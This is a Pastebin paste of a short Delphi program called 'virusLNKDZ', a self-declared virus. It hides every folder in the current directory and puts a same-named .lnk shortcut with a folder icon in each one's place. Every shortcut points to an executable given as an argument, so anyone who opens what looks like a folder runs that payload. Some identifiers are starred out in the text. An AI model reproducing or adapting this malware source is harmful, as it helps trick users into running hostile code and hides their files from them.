Alshabh

Untitled

Aug 25th, 2013
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.13 KB | None | 0 0
  1. program virusLNKDZ;
  2. // by onexite
  3. uses
  4. SysUtils,
  5. ActiveX,
  6. ComObj;
  7.  
  8. procedure run();
  9. var
  10. Wsh****************l : OLEVariant;
  11. o****************lLink : OLEVariant;
  12. searchResult : TSearchRec;
  13.  
  14. begin
  15.  
  16. //SetCurrentDir('..');
  17. Wsh****************l := CreateOleObject('WScript.****************l');
  18. if FindFirst('*', faDirectory, searchResult) = 0 then
  19. begin
  20. repeat
  21.  
  22. if (searchResult.attr and faDirectory) = faDirectory then
  23. begin
  24. o****************lLink := Wsh****************l.CreateShortcut(searchResult.Name+'.lnk') ;
  25. if ((searchResult.Name<>'.') and (searchResult.Name<>'..') )then
  26. FileSetAttr(searchResult.Name,2) ;
  27. o****************lLink.TargetPath := ParamStr(1);
  28. o****************lLink.IconLocation := '%SystemRoot%\system32\****************L32.dll, 3' ;
  29. o****************lLink.WindowStyle := 1 ;
  30. o****************lLink.Save
  31. end;
  32. until FindNext(searchResult) <> 0;
  33. FindClose(searchResult);
  34. end;
  35.  
  36. end;
  37.  
  38. begin
  39. try
  40. CoInitialize(nil);
  41. try
  42. run();
  43. finally
  44. CoUninitialize;
  45. end;
  46. except
  47. Exit;
  48. end;
  49. end.
Advertisement
Add Comment
Please, Sign In to add comment